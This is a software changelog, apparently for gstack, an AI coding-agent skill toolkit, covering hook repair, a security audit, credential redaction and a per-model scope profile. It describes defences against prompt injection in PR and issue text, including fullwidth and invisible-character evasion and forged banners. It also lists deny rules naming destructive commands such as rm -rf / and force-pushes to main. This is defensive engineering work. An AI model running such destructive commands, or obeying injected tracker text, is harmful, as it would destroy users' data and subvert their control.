All three are fixed at the root. Hook registration is now canonical-only: commands point at the stable ~/.claude/skills/gstack install or are not registered at all. Ownership is decided by a fixed identity table in bin/gstack-settings-hook, per hook item, so it survives tag-stripping and can never claim a hook you wrote yourself. And every ./setup run now heals first: gstack-settings-hook prune-stale --repoint removes dead gstack entries, re-points stale ones, restores stripped tags, and collapses duplicates, printing one line only when it changed something.

The numbers that matter

Source: the 2026-08-17 incident on a real dev box, replayed byte-for-byte as the incident facsimile test in test/gstack-settings-hook-schema-aware.test.ts.

Metric Before After Δ

Hook entries in settings.json 11 (6 dead) 5, all canonical −6 dead

Error lines per AskUserQuestion 4 0 −4

Hook processes spawned per question that do nothing 4 0 −4

Traced code paths under test — 53 of 61 (87%) new

The healer also fixes damage you could not see: a corrupt settings.json is never overwritten (every mutator now fails closed instead of clobbering it with {}), a user-tightened 0600 file keeps its mode across rewrites (settings.json can carry API keys), concurrent setups can no longer rename a half-written temp file into place, and uninstall now cleans hooks BEFORE deleting the install root, which previously made cleanup silently no-op in exactly the case it existed for.

What this means for you

Run ./setup (or /gstack-upgrade) once and the errors stop, on every machine, with a printed receipt of what was healed and a backup beside the file. New workspaces can never reintroduce them. If you ever want everything gone, gstack-uninstall now actually removes every gstack hook, including the ones an older version orphaned.

Itemized changes

Added

gstack-settings-hook prune-stale [--repoint <root>] [--all]: self-healing for hook registrations. Dead gstack entries pruned, stale paths re-pointed at the stable install, stripped _gstack_source tags restored from the identity table, exact duplicates and within-entry twins collapsed. Runs automatically at the start of every ./setup; --all is the complete teardown sweep used by uninstall and --no-team.

gstack-config has <key>: key-presence check through the same state-dir resolution as get (which returns defaults for absent keys), so consent logic can tell a recorded decision from a default.

KNOWN_HOOKS identity table covering all six gstack hooks (plan-tune trio, timeline Stop, session update, verify-gate), shared by registration dedupe and the healer so the two can never drift.

A mutation lock around every settings.json write: mkdir-based with an owner token, ownership-checked release, and atomic stale-lock takeover. Backups get unique names and rotate (10 kept); rollback validates its pointer and restores atomically.

Changed

Hook registration is canonical-only. Setup never writes a running-tree path into global settings; if the stable install is missing a hook, it skips with a visible log line instead. The Conductor auto-opt-in for AskUserQuestion reliability hooks now respects explicit decisions (flag, env, or a recorded config key) and fires only on the true silent fall-through.

add-event is the single quoting authority: registered commands are normalized once (whitespace and shell metacharacters escaped), so a spaced or $-bearing install path produces a working hook from the first registration. Windows gets the required bash prefix on all hooks, not just SessionStart, and MSYS-form paths no longer read as dead to the healer.

All settings.json mutators are per-item: a hook you co-located in the same entry as a gstack hook survives every gstack operation, including uninstall, and gstack never tags an entry that contains your items.

Teardown paths (gstack-uninstall, ./setup --no-team) run hook cleanup before any deletion, sweep untagged strays by identity, and keep stderr attached so a skipped cleanup is loud, never silent.

Fixed

Deleted Conductor workspaces and worktrees no longer leave dead hooks erroring on every AskUserQuestion, session start, and stop event.

A corrupt settings.json is preserved and reported (exit 3) instead of being replaced with an empty object by the next hook operation.

settings.json file mode is preserved across rewrites; fresh files are created 0600.

Liveness checks treat only provable absence as dead, so an unmounted volume or permission blip cannot prune a working hook.

A vacuous test in the banner-tripwire check executed its script through JSON-as-shell-quoting, silently littering a 2nelsen artifact in the repo root on every suite run while asserting nothing; it now passes the script as argv and asserts both branches.

For contributors

60+ new or updated test cases across 8 files, including the incident facsimile, a two-writer concurrency smoke, an uninstall test that runs the installed copy from inside the root it deletes, held-lock teardown visibility, quoting round-trips, and static tripwires pinning canonical-only registration, heal-first ordering, matcher-literal parity, and the shared-prelude call sites.

The review pipeline for this release (five specialists plus red team plus two Codex passes) contributed 14 verified hardening fixes; rejected findings are documented in the PR.

[1.68.0.0] - 2026-08-18

The next tracker wave: 16 verified fixes in, 90 stale PRs and 21 issues out. Six community contributors credited, one queue race killed for good.

This release lands the full next-wave queue: six community PRs ported with authorship intact, ten fixes of our own, and the six adversarial-review residuals the last wave deferred. The headline internals: the brain-sync queue moved to a per-record spool directory, so the enqueue/drain race class is structurally gone, not narrowed. The session-update lock records the process that actually holds it, heartbeats while it works, and expires on a hard TTL, so concurrent updaters can no longer trample a live install. And a live bug caught during this wave's own review, a stray ~/.git directory silently misfiling decisions and learnings into the wrong project store, is fixed with a self-healing cache and a ten-case parity suite.

The numbers that matter

Source: this branch vs main (git diff main...HEAD --stat), the wave's coverage audit, and the tracker close-out run on 2026-08-17.

Metric Value

Fixes landed (issues closed by this release) 16

Community PRs ported with credit 6 (6 contributors)

Open PRs closed with receipts 90

Stale issues closed with version pointers 21

Diff 133 files, +6,276 / −649

New/extended test files 31 (coverage audit: 96% of changed surfaces at behavior+edge+error depth)

Review rounds absorbed pre-merge 3 (specialist army, then two cross-model adversarial passes)

The tracker numbers are the striking ones: 111 stale items left the queue in one day, each with a receipt naming the release that covered it. Contributors whose fixes were absorbed months ago now have closure with credit instead of an open PR going quiet.

What this means for you

If a skill ever told you the brain queue was empty while records sat in it, or --probe promised thousands of pages that --bulk then refused, or a second Claude session stomped your gstack update mid-pull, those classes are closed and each one is pinned by a regression test. Update with /gstack-upgrade, which itself now fast-forwards first and never discards unpushed work without telling you exactly what it would delete.

Itemized changes

Added

/scrape and /skillify now carry the untrusted-content processing rules, single-sourced with the browse reference so the wording can never drift. Re-derived from PR #2612. Contributed by @Lockyer228 (#2441).

$B cdp allows Emulation.setCPUThrottlingRate and Network.emulateNetworkConditions for real perf measurement on simulated low-end clients. Overrides persist until cleared; the justifications say so. Contributed by @henbima (#2602).

Transcript ingest honors the per-remote trust store: deny and read-only remotes are skipped with per-tier counts, a corrupted store aborts before any write, and the policy lookup is one batched subprocess for the whole corpus (#2392).

The gbrain source worktree advances on the daily sync, so brains stop serving stale pages between setups. The unattended path refuses dirty worktrees and never force-removes (#2516).

gstack-gbrain-repo-policy get --batch: one spawn classifies every remote.

Changed

Behavior change: gstack-config get <unknown-key> now exits 1 with empty output, so || echo fallback callers finally fire. Keys whose empty value is meaningful (cross_project_learnings, salience_allowlist, user_slug_at_*, redact_repo_visibility, repo_mode) still return empty with exit 0. Scripts that relied on unknown keys silently returning empty with exit 0 must add a fallback. Contributed by @benjaminberes-bp (#2611).

The brain-sync queue is a maildir-style spool (.brain-queue.d/, one file per record, atomic rename). Writer and drainer never share an inode; the drain deletes only records classification proves were staged or dropped, so a classifier crash or a malformed pulled privacy map retains everything instead of discarding it. Legacy queues migrate on the next drain.

--probe in memory-ingest counts through the same attribution and policy gates as --bulk, with a bounded 256KB read per transcript, so its numbers are the numbers. Re-derived from PR #2612. Contributed by @Lockyer228 (#2394).

/gstack-upgrade fast-forwards with autostash first; the destructive fallback runs only on a provably-clean tree with no unpushed commits, or after an explicit confirmation listing exactly what would be discarded (#2517).

Skill completion always reviews the session for durable learnings and says so explicitly when there are none. Re-derived from PR #2612. Contributed by @Lockyer228 (#2402).

/codex documents the measured session-overhead reality: resume does not amortize the prelude, so prefer one call per skill (#2387).

MCP scope resolution is project-first everywhere, matching Claude Code's verified precedence, and one project's remote gbrain registration no longer reclassifies every other project on the machine.

Fixed

plan-tune refuses never-ask on one-way question ids at write time and reports previously-stored inert preferences in --stats. Contributed by @szsunyuan (#2488).

A typo'd gstack-redact subcommand exits 1 with usage instead of silently scanning stdin (or hanging on a terminal). Contributed by @kinoko-studio.

One ambiguous ref no longer kills the whole annotated screenshot: exact matches stay exact, ambiguous refs fall back to first-match and are counted visibly in the output. Contributed by @namtrok.

gstack-version-bump repair refuses to write a fabricated 0.0.0.0 into package.json when VERSION is missing or empty, while a genuine 0.0.0.0 file still repairs. Re-derived from PR #2612. Contributed by @Lockyer228 (#2600).

The session-update lock records the live holder (not the exited parent), heartbeats during long pulls and setups, expires on a hard TTL so a recycled PID cannot wedge it, and reclaims atomically with an ownership-checked cleanup (#2613).

gstack-slug resolves the canonical owner-repo slug even when a stray marker directory sits above the repo; the poisoned-cache shape self-heals, legitimate sticky identities are preserved, and the native Windows fallback agrees with the shell implementation on every pinned fixture.

/review checklist paths resolve from the installed skill root, so review runs work in every target repo, not just gstack's own checkout (#2518).

next-version's offline fallback queries live remote refs without mutating local state, fetches unreadable claims before giving up, and never silently reissues a sibling branch's version.

Setup-registered hooks prefer the global install path and re-point stale absolute paths on re-run; duplicate registrations collapse to one; a corrupt settings.json is refused loudly instead of being replaced.

Windows: every Bun.spawn in browse carries windowsHide with a census tripwire, and project-scoped brains resolve on backslash paths.

For contributors

90 absorbed or superseded PRs and 21 fixed issues were closed with receipt comments pointing at the releases that covered them; ported PRs close with porting-commit receipts when this release merges.

The parity-suite skeleton ceilings absorbed this wave's preamble growth with measured notes; the referenced-path scanner self-check re-anchored to the installed-root form.

New follow-ups filed in TODOS.md: skillify structural isolation, slug store migration for pre-fix data, deny retroactivity for already-ingested pages, and the slug heal-probe cache sentinel.

[1.67.2.0] - 2026-08-18

Codex installs now match the model you actually run. gpt-5.6-sol gets a bounded-scope profile that finishes the job, then stops.

Every gstack skill carries a model-specific behavioral patch. This release makes that patch model-aware for Codex: ./setup --host codex reads the top-level model from ${CODEX_HOME:-~/.codex}/config.toml and renders the matching profile. The headline is gpt-5.6-sol. Sol reads completeness language like "exhaustive" and "Boil the Ocean" as authority to keep going, widening into adjacent cleanup and speculative hardening nobody asked for. Its new profile pins the boundary: the explicit task is the lake, adjacent findings are report-only, investigation stops once the cause is established, and the run terminates on one clean verification pass. Full coverage inside the boundary still applies, and the AskUserQuestion decision-brief format is never trimmed.

Sol is exact-match only. Terra, Luna, dated snapshots, and any suffixed ID deliberately fall back to the generic GPT profile, and the resolver warns when a near-miss like gpt-5.6-sol-2026-08-01 lands on generic gpt.

The numbers that matter

Source: the new periodic scope-termination eval (EVALS=1 EVALS_TIER=periodic bun test test/codex-e2e-sol-scope.test.ts, result in ~/.gstack/projects/<slug>/evals/) and the free suite (bun run test).

Metric Before After

Codex skill overlay one fixed profile for every install matched to config.toml, --model per-run override

Sol on a planted one-line bug (live eval) no measurement fixed in 21 tool calls, 173s, both decoy TODOs byte-identical

Scope check in that eval not measured untracked, staged, and unstaged files all counted

Hermetic Codex E2E environment whole operator ~/.codex tree copied in auth.json only, CODEX_HOME pinned

Kiro skill profile inherited whatever the shared render held always the claude profile, rebuilt at install time

Upgrade skill reinstall target bare ./setup (claude) for every host the host it was generated for

The eval row is the one to internalize: the same investigate skill that tells Claude to boil the ocean drives Sol to fix exactly one function, run the one targeted test, and stop with two tempting decoy TODOs untouched.

What this means for Codex users

If you run Codex on gpt-5.6-sol, rerun ./setup --host codex once. Your skills keep the full gstack workflow (STOP points, review gates, decision briefs) but stop sprawling into work you did not ask for. Change your Codex model later, rerun setup, and the profile follows. --model <id> overrides detection for one run and tells you how to make it stick.

Itemized changes

Added

gpt-5.6-sol model profile (model-overlays/gpt-5.6-sol.md): explicit task boundary, report-only adjacent work, bounded investigation, terminate on verified completion, AskUserQuestion format preserved in full.

Codex model detection at setup: new scripts/resolve-codex-generation-model.ts reads the top-level model from ${CODEX_HOME:-~/.codex}/config.toml, validates against the model allowlist, treats config values as data (control characters stripped from every surfaced string, absolute-path guard on the config location), and falls back to the generic GPT profile with a warning on unreadable or unsupported configs. ./setup --host codex --model <id> overrides for that run.

Per-host generation defaults: HostConfig.defaultModel, validated at generation time. Codex renders the GPT profile when no --model is passed; every other host keeps claude. docs/ADDING_A_HOST.md documents the new field.

Periodic scope-termination E2E (test/codex-e2e-sol-scope.test.ts): installs the FULL generated investigate skill, plants a one-line bug beside decoy security and migration TODOs, and asserts the fix lands inside the boundary within 30 tool calls, the decoys stay byte-identical, the regression oracle survives unweakened, and nothing gets committed. Wired into the periodic eval matrix, the paid-shard globs, and diff-based selection (codex-sol-scope-termination).

Sol-specific Completeness Principle and first-run intro copy: Boil the Ocean within the user's explicit task boundary.

Changed

Generated upgrade skills reinstall their own host: ./setup --host codex in Codex renders, --host kiro in Kiro copies (rewritten at copy time), bare ./setup only for Claude.

Kiro installs render the claude profile before copying skills, then restore the resolved Codex profile, so Kiro never ships GPT-family behavioral text and live ~/.codex symlinks stay correct. The Codex skills path honors $CODEX_HOME.

The hermetic Codex E2E runner copies auth.json only. Operator plugins, MCP servers, rules, and skills no longer leak into supposedly hermetic evals. Per-run model, TOML config overrides, and --ignore-user-config are supported.

setup resolves the Codex generation model on every run (a read-only TOML lookup), so any install path preserves a Sol user's rendered profile; the codex install summary prints the active profile and its source.

For contributors

New free-tier coverage: every resolver branch including hostile-config shapes (10 tests), overlay content pins, the explicit --model override through the real generation CLI, real-file periodic-tier classification for both codex E2E files, and invalid defaultModel validation.

Static pins in test/setup-codex-model.test.ts hold the load-bearing setup properties: unconditional resolver, quoted --explicit argv, fail-closed empty-resolver exit, the Kiro claude-render sandwich, and the --host kiro rewrite.

The Sol E2E snapshots the exact prior .agents render and restores it in beforeAll, so the shared tree never stays Sol-flavored for goldens, parallel shards, or symlinked installs. Fixture commits disable gpg signing so the eval runs under any global git config.

[1.67.1.0] - 2026-08-16

We read every line of external-contributor code from the last two months. Six findings hardened, two refuted, zero backdoors.

gstack ran an explicit security sweep over all external-contributor code merged since mid-June: the seven directly-merged time-attack PRs, the two fork-port squash waves, and the roughly fifty absorbed community PRs. About 38,000 lines across ~500 files, read with an adversarial eye. The verdict up front: no backdoor, no exfiltration path, no live secret leak. The contributions are net security-strengthening. This release hardens the six real findings the sweep confirmed and locks each one behind a regression test, so the property it protects holds by construction, not by luck.

The pre-push secret scanner now catches all-caps database passwords. Persisted browser sessions stay out of git whether or not your repo has a .gitignore. The App Store Connect key the release flow mints is scoped to the one app you are shipping, and the exit report tells you it exists and how to revoke it. The iOS test bridge's Release compile-out (shipped in v1.67.0.0) is now pinned by a free-tier tripwire that fails CI on any regression to a platform-only gate. The browser server's Node spawn shim has its exited/drain/memory-cap contract back. Bearer-token comparison is constant-time.

The numbers that matter

Source: a two-wave read-only audit (72 agents, two independent verifiers per finding) plus a four-specialist pre-landing review. Reproduce the headline check with echo "postgres://admin:${DB_PW:-PROD2026SECRET}@h/db" | bin/gstack-redact (the shell expands the braces to the real all-caps password; exit 3) and bun run test.

Property Before After

DSN with an all-caps password (PROD2026SECRET) at pre-push passed the HIGH gate HIGH block (exit 3)

postgresql://USER:PASSWORD@host doc placeholder skipped still skipped (pinned)

Persisted session cookies in a .gitignore-less repo git-committable ignored by construction

Minted App Store Connect key scope every app on the team the one app being shipped

iOS Release compile-out guard (shipped v1.67.0.0) unpinned CI tripwire on any regression

await proc.exited on the Windows Node fallback resolved undefined resolves the real exit code

Loopback bearer-token comparison byte-by-byte === constant-time

The one that matters most for a public repo: opt-in browser session persistence kept live cookies and request logs under .gstack/ inside the working tree. Now a self-contained ignore lands there at setup time, so git add -A && git push cannot ship them.

What this means for you

If you run gstack from a build that pulled in community or fork-ported code, this is the release where someone read all of it and calibrated the guards against real credential shapes, not just placeholders. Run bin/gstack-egress verify and bin/gstack-redact on your own repos with confidence. The full audit trail and the governance follow-ups (a required-review rule for main) are captured for maintainers separately; nothing here changes a command you already run.

Itemized changes

Fixed

The pre-push credential scanner blocks a DSN whose password is a real all-caps secret (PROD2026SECRET-style) at the HIGH tier. The USER:PASSWORD documentation convention still suppresses, pinned in both directions with a table-driven test over the full placeholder set. (lib/redact-patterns.ts)

The browse state directory (.gstack/) carries a self-contained .gitignore written unconditionally when the directory is created, so persisted session-state.json cookies and browse-network.log / browse-audit.jsonl request headers can never be committed, regardless of the project's own .gitignore. (browse/src/config.ts)

The Node Bun.spawn polyfill regains its exited promise, eager stdout/stderr drain, and 16MB output cap, restoring correct child-process handling on the Windows Node fallback (cookie import, browser-skill children). (browse/src/bun-polyfill.cjs)

The iOS QA touch bridge's Release compile-out (the #if !defined(DEBUG) short-circuit plus the cSettings DEBUG define, shipped in v1.67.0.0) is pinned by a free-tier static tripwire: any regression to a platform-only gate, a reordered guard, or a dropped define fails CI on every PR. (test/ios-debug-bridge-release-guard.test.ts)

Loopback bearer-token comparison in the browse server is constant-time. (browse/src/server.ts)

Changed

The App Store Connect upload key minted during an Apple release is scoped to the target app (allAppsVisible:false with an explicit apps relationship) instead of every app on the team, and the release exit report discloses the key and its revocation path. (ship/sections/apple-release.md)

gstack-egress verify documents that ledger truncation and deletion are out of scope for the forensic-observability threat model. (bin/gstack-egress)

For contributors

New regression guards pin each security property against a silent revert: a static tripwire for the constant-time validateAuth, a table-driven suppression test over the exported URL_PASSWORD_PLACEHOLDER_WORDS, an unconditional-write test for the state-dir ignore, a static tripwire for the iOS Release compile-out, and the restored Bun.spawn contract tests.

[1.67.0.0] - 2026-08-16

The tracker wave: browse survives macOS, installs are complete, memory sync never drops a record. 30 contributors landed.

This release mines the full issue tracker and community PR queue. Browse now classifies a macOS XProtect kill at Chromium launch and heals itself. It clears the quarantine flag, reinstalls the pinned browser revision from the right install root, and retries, all bounded and logged. Fresh installs link every runtime asset a skill references, so /review and friends work on a clean machine the first time. Brain-sync's queue is drained with a classified disposition. Privacy-held records are retained and labeled, a failed push keeps its commit and re-delivers it on the next run, and the retry only ever publishes commits it authored itself. Twenty-five community PRs landed with credit, and roughly thirty-five issues close on merge.

The numbers that matter

From the wave's gate eval run (bun run eval:bg:gate, log in ~/.gstack-dev/eval-runs/) and the free suite (bun run test) at HEAD.

Metric Before After Δ

Browse launch on macOS 26 (XProtect kill) manual reinstall classified + self-healed automatic

Skill runtime assets on a fresh install SKILL.md + sections only every referenced asset /review works day one

Brain-sync queue at a push failure truncated retained + re-delivered no data loss

Detector push with an interleaved user commit published it refuses author boundary holds

Gate evals 41/43 43/43 both reds root-caused

Free suite — ~7,000 tests, ~90-100s green at HEAD

The brain-sync row is the one to internalize: the queue is only ever rewritten by subtracting the exact records that were staged, against a live re-read, so a record enqueued mid-drain survives to the next boundary.

What this means for gstack users

Upgrade and the three most-reported failure classes disappear: browse comes back on macOS without touching a terminal, a teammate's first ./setup produces working skills, and your cross-machine memory stops silently thinning under flaky networks. If you filed one of the ~35 issues this closes, your repro is now a regression test with your name on the commit.

Itemized changes

Fixed — the three P0s

Browse dead on macOS (#2554). Playwright pinned to 1.62.1 (split from dependabot #2582), plus an XProtect kill-signature classifier with positive AND negative fixtures, a one-shot quarantine-clear + bounded (~120s, process-group-killed) reinstall from the gstack install root that pins the matching Chromium revision, structured heal logging, and an upgrade-time quarantine-clear + reinstall in setup for already-poisoned caches. The heal resolves the install root via os.homedir() and keeps its manual-remediation guidance even when the post-heal retry fails.

Fresh installs missing runtime assets (#2317, #2454). setup links every runtime asset with an explicit exclusion list (node_modules, dist, *.tmpl, test, hidden), pinned by a two-class referenced-paths test: alias-relative references must exist under the installed alias, repo-anchored ones in the tree modulo a reasoned dist/ allowlist.

Brain-sync data loss (#2549). Queue records are classified at drain time: skip-filtered and nonexistent drop WITH counts (full paths in a 0600 sidecar), privacy-held records are retained and labeled instead of being wiped as "no allowlisted changes", unparseable lines are preserved, and the rewrite subtracts the staged set from a LIVE re-read so concurrent enqueues survive. A failed push keeps its commit; a run-start detector re-delivers it — receipted, locked, throttled to one attempt per 10 minutes, bounded by git's low-speed limits (portable to stock macOS), and gated to fire only when EVERY unpushed commit is its own, so an interleaved manual commit in ~/.gstack is never auto-published. The sync lock releases on every exit path, including interrupts mid-push.

Fixed — browse & daemon lifecycle

A healthy daemon is never killed by browse start (the #2219 iron rule): a total-budget health probe answers in ~8s, busy daemons get "retry or --force-restart" plus a nonzero exit, and only an explicit --force-restart ever kills an alive pid — pinned by a regression test. browse stop on a dead daemon short-circuits to success (#2254); /gstack-upgrade defers to a busy daemon and prints the escape hatch (#2551).

Chromium no longer dies with the terminal: signal handling moved off Playwright's defaults at all three launch sites with a SIGHUP handler routing through the real shutdown path, and a tripwire pinning the count.

The terminal-agent allocates from the same fixed port range as the daemon (#2314) — and that range now ends at 49151, actually below the macOS ephemeral pool it exists to avoid; boot retries a raced bind instead of dying. Windows terminal-agent leaks fixed via process.kill(pid, 0) liveness (#1952) and the error-handling helpers. Contributed by @SYKhayyat (#2414).

Daemon crash logs persist without tokens or unsanitized page content (needle-tested). Contributed by @phuttimatebenchanakatkul (#2461).

The dead security-shield surface was removed end to end (−272 net lines) while the live L4 sidecar path keeps its status endpoint — docs updated in the same commit. Contributed by @frederik-kaster-noygear (#2557, with the pipe-capture core from #2559). CDP Emulation.setEmulatedMedia joins the allowlist — contributed by @meshailabs (#2419). Windows gbrain probe timeout — contributed by @vaston-viji (#2450). browse/dist mkdir — contributed by @guyua9 (#2542).

First patchedDependencies entry: playwright-core's two Windows spawn sites carry windowsHide (#2160, #1989), statically pinned and independently revertable.

Fixed — install & setup correctness

Root-alias skills install as rewritten copies, never symlinks whose edits would corrupt generated sources (#2511, #2201). Windows re-runs refresh real-directory installs (#2444), and uninstall deletes only directories that pass BOTH the inventory match and the generated-banner provenance gate, listing (never deleting) anything else (#2563).

--host cursor gets the full install slice — contributed by @szsunyuan (#2547). Settings-hook dedup includes the command (#2382) — contributed by @gregario (#2431). :user renders route through --out-dir (#2569) with a migration that cleans legacy in-place render dirt. setup-gbrain invocation paths fixed (#2250) — contributed by @SomSamantray (#2409). Office-hours installs into codex/factory/opencode runtime roots (#2449).

The redact pre-push hook stays opt-in but its fail-open gaps are closed, with a one-time consent prompt (#1946). Skills-timeline Stop hook ships fail-open (always exit 0, 2s budget) with setup registration (#2553).

iOS QA: DebugBridgeTouch compiles out of Release builds — contributed by @Bastea (#2585); front-most bridge ordering — contributed by @IDSTUK (#2397); compat preflight docs — contributed by @itstimwhite (#2581).

Fixed — memory & gbrain

Windows slug resolution and the decisions.jsonl allowlist (#2396) — contributed by @source-utsho (#2561). Brain-sync arithmetic-injection guard — contributed by @sneakygriff (#2588). Windows bash routing for brain-sync/gbrain — contributed by @ShahriarLak (#2510), extended to every gbrain-sources spawn (#2471). --full walks the full tree — contributed by @ShahriarLak (#2406). Honest "missing" from brain-cache — contributed by @sneakygriff (#2587). Memory-ingest parses both codex rollout shapes and stages outside GSTACK_HOME (#2105, #2104).

gbrain detection: engine-locked is a healthy status (#2456), bearer-token thin clients are recognized (#2520), GBRAIN_HOME gets its .gbrain segment (#2521), project-scoped MCP registrations are honored (#2499). Source pins respected — contributed by @exGeni (#2417); --dry-run works offline (#2536) — contributed by @CarringtonCreative (#2540); bun-on-npm PATH guidance (#2487); dream-stage classifier anchored (#2341).

Fixed — version tooling, diff-scope, redaction

VERSION stays the 4-digit source of truth; package.json carries the npm-valid 3-digit translation, lockfiles sync only when they already exist, and drift is judged on translated forms. Built on re-derived work contributed by @YiftahR (#2501), @ortonom (#2568), and @CarringtonCreative (#2531, #2545). Pinned repos compare base and current against the SAME file (#2462). JSON version-paths get honest per-file recovery messages. The path pins (.gstack/version-path, .gstack/package-json-path) cannot escape the repository — absolute paths, .. traversal, and symlink escapes are all refused, and a lockfile symlinked outside the repo is skipped with a warning.

Diff-scope covers api/, migrations/, and db/data, with a no-match exit code and uncommitted-work handling (#2526, #2455, #2299). Redact scans the merge-base range and knows parcel IDs are not phone numbers — contributed by @Two-Six-Alpha-1115 (#2592, #2591); rebased force-pushes are scanned correctly, proven by test (#2573).

The codex model probe caches its verdicts both ways: a working model for an hour, a deterministic model-400 for 15 minutes (editing config.toml re-probes immediately) — so the affected account stops paying a 30s round trip per review section (#2477). Its timeout wrapper now enforces the deadline with a bash-native watchdog on stock macOS, where no timeout binary exists.

Fixed — templates & everything else

Skills running under Codex skip the nested codex specialist with a printed notice (#2519). Codex web-search flag unified behind one resolver constant across 19 sites (#2525). Slugs are sanitized in every path position (#2550) — with groundwork contributed by @harjothkhara (#1851). AGENTS.md routing probe — contributed by @gamerey43 (#2500); empty-find fallthrough killed — contributed by @tranthanhnhatkhoa (#2483); cygpath MSYS builds — contributed by @chiragborse1 (#2452). /ship's review army loops until clean (#2391). Question-registry path is absolute (#2489). Retro glob (#2552), capability-check temp file (#2503), repo-mode stat order (#2195), hover doc note (#2445), make-pdf boolean flags — including --strict and --confidential — no longer swallow the input file, with a guard test that derives the flag set from the source (#2514).

For contributors

Test/generator infra hardened first: host-config golden isolation (#2532), hermetic-wiring tripwire and YAML ellipsis quoting — contributed by @sneakygriff (#2586, #2589); prepush PATH separator — contributed by @luckywenapere (#2544); gen-skill-docs throws on duplicate preamble tokens.

Dependency hygiene: puppeteer-core removed outright (zero consumers), adm-zip CVE closed via lock override — contributed by @anupamme (#2485); transformers/marked/socks bumped with the ONNX sidecar smoke green; .gitattributes LF pin — contributed by @mlaniak (#2527); GitHub Actions bumps — contributed by @dependabot (#2594).

The wave's own adversarial reviews (Codex + Claude, 28 findings) landed as fixes in-branch; verified residuals are filed in TODOS.md with rationale.

[1.66.1.0] - 2026-08-16

Every claim gstack makes now binds to the content it was made on. Tracker text is data. Guard hooks actually guard.

Reviews and test results used to be prose claims: "review is recent" meant a commit-count guess that a rebase could crash, and "tests passed" meant trusting output from a tree that may have changed since. Both now carry a working-tree content fingerprint (bin/gstack-wtree, ~0.2s). A review of identical content grades CURRENT through rebases, amends, and squashes. A test run recorded by the new bin/gstack-evidence ledger stays citable at /ship's verification gate only while the content is byte-identical (release files carve out), the command hash matches, and nothing edited the tree mid-run. /ship and /land-and-deploy cite fresh evidence instead of re-running, and re-run live when anything moved.

PR bodies, PR comments, and model-judged issue titles now enter agent context only through a trust envelope (bin/gstack-issue-guard): content is data even when clean, injection-shaped lines get labeled through fullwidth and invisible-character evasion, forged envelope banners are defused, and a CI scanner fails the suite on any raw tracker-text read at all 8 ingress points. Write-backs keep a raw artifact so envelope markup can never reach a live PR.

/freeze now fails closed: unparseable payloads, quote or newline paths (the deny used to silently no-op on them), boundaries with spaces, symlinks pointing outside the boundary, and a broken install all block instead of passing. /careful gains a hard-deny tier for rm -rf /-class deletes and force-pushes to the default branch — including the flag-less git push origin +main form and quoted or refspec targets — plus additive-only custom warn patterns that can never weaken the built-ins.

The numbers that matter

Measured on this branch; re-run with bun test, time bin/gstack-wtree, and the commands in each bin's header.

Metric Before After Δ

Review staleness on rebased/amended identical content crash or STALE CURRENT correct

"Tests passed" binding none (prose) content fingerprint + command hash + max-age new

Tracker-text ingress points enveloped 0 8, CI-scanner enforced new

/freeze deny on hostile/edge paths silent no-op blocks, fail-closed fixed

Working-tree fingerprint cost — ~0.09s warm (stat-cache seeded, 40x vs naive) new

Adversarial findings fixed pre-merge — 50 (4 specialists + red team + fresh-context pass), 6 critical —

The fingerprint survives commits of identical content, so the common flow — test on a dirty tree, commit, ship — keeps its evidence valid, while one untracked new source file invalidates it.

What this means for you

/ship stops re-running suites the content already proved green and stops trusting suites the content has outgrown — the IRON LAW is now a mechanical check, not an honor system. A hostile PR comment can no longer speak to your agent with authority, and /guard's boundary actually holds on the paths where it used to silently fail. Nothing to configure: the bins ship wired into /ship, /land-and-deploy, /review, /spec, and /document-release.

Itemized changes

Added

bin/gstack-wtree — working-tree content fingerprint (temp-index, stat-cache-seeded; identical hash to a full re-hash at ~40x less cost).

bin/gstack-evidence — verification-evidence ledger: run wraps any command transparently (exit code always passes through; 0600 per-run logs with 2MB cap and 30-day prune; HIGH credentials in commands stored redacted; mid-run tree edits void the fingerprint) and check grades FRESH/STALE/MISSING per label with --expect-cmd, --max-age, and --allow-paths binding.

lib/tracker-guard.ts + bin/gstack-issue-guard — trust envelope for tracker text: envelope-always, detection-only NFKC + full Unicode format-character sweep, banner-forgery defusal, no-envelope-on-fetch-failure, numeric argv validation.

/careful HIGH tier (hard deny: root/home recursive deletes incl. --no-preserve-root and /* forms; default-branch force-pushes incl. plus-refspec, refspec-colon, and quoted targets; simple commands only, --force-with-lease never matches) and additive-only project warn patterns (~/.gstack/careful-patterns.txt, per-project variant).

CI wiring scanner (test/tracker-guard-wiring.test.ts) failing the suite on raw tracker-text reads outside the guard, with reasoned, liveness-checked exemptions; template-drift tripwire pinning the grading rules and the write-side banner tripwire.

Changed

Review records (bin/gstack-review-log) stamp commit_full/tree/dirty/wtree authoritatively — caller-supplied binding fields are ignored; bin/gstack-review-read emits ---WTREE---/---TREE---/---DIRTY---; the /ship dashboard and /land-and-deploy grade diff-scoped reviews content-first (plan-tier reviews keep time-based logic), and a rebased-away commit grades UNKNOWN instead of erroring.

/ship Step 5 test lanes run wrapped with per-lane labels and per-run logs (no shared /tmp collisions between concurrent ships); Step 16 and /land-and-deploy 3.5b check the ledger first and cite fresh evidence, advisory-never-blocking.

/document-release PR/MR body updates use a two-artifact flow (enveloped copy for reading, raw copy for the splice-and-write-back) with a banner tripwire that compares against the fetched original.

/spec issue-title dedupe reads titles through the envelope and distinguishes pipeline failure from zero matches instead of silently skipping.

Fixed

/freeze: five boundary defects — deny JSON silently no-oped on quote/newline paths, internal spaces in the boundary path were stripped (space-bearing project dirs could never match), symlink final components weren't resolved (in-boundary symlink wrote outside the boundary), the JSON extractor truncated at escaped quotes and failed open, and a missing helper file passed edits through instead of blocking.

/careful and /freeze now share one JSON extractor and one analytics writer (both honor GSTACK_HOME), ending the two-copy drift that let one hook keep a bug the other had fixed.

For contributors

test/helpers/scratch-repo.ts — shared hermetic git fixture (identity pinned, gpg signing disabled so fixture commits never invoke the operator's gpg-agent) and a PATH gh shim for exercising real gh success/failure branches.

~150 new tests across six files, including the keystone case: evidence recorded on a dirty tree stays FRESH after committing the exact tested content.

[1.66.0.0] - 2026-08-15

The full ~7,000-test suite in about 90 seconds, verified honest. Paid evals now bill by diff, not $38 flat.

bun run test used to take 454 seconds. It now runs as up to six concurrent shard processes and finishes in about 90 to 100 seconds, under a strict output contract: a shard that exits without bun's own terminal summary line is a failure, a wedged shard is killed at a size-scaled deadline and named in the epilogue, and the console shows only what you need (per-shard status, then ✗ file — test name for anything red, full stream in a per-run log, --verbose for the firehose). Twelve test files that ran under no script and no CI are wired in. A 3,372-line dead eval monolith is deleted, with four never-run tests revived out of it.

